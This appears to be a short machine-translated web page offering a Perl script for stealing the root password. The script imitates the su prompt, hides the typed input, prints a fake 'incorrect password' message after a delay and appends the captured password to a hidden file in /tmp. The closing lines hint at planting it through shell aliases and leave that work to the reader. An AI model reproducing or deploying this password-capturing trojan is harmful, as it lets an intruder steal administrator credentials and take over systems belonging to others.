SoFunction
Updated on 2025-04-14

Stealing the root password as a stolen by perl

I changed it, turned off the echo and added a delay:

#!/usr/bin/perl
# Written by xi4oyu <evil.xi4oyu@>.

print "Password: ";
`stty -echo`;
$s1=<STDIN>;
print "\n";
`stty echo`;
sleep 3;
print "su: incorrect password\n";
chomp($s1);
$s2="Password is: ";
$s3=" ".`date +%Y-%m-%d`;
open (users, ">>/tmp/.pass") || die ;
print users ($s2, $s1,$s3);
close (users);

It is obvious that the use is 8 lines directly, and there are also work to be done such as aliases recovery. Dear readers, please do it yourself!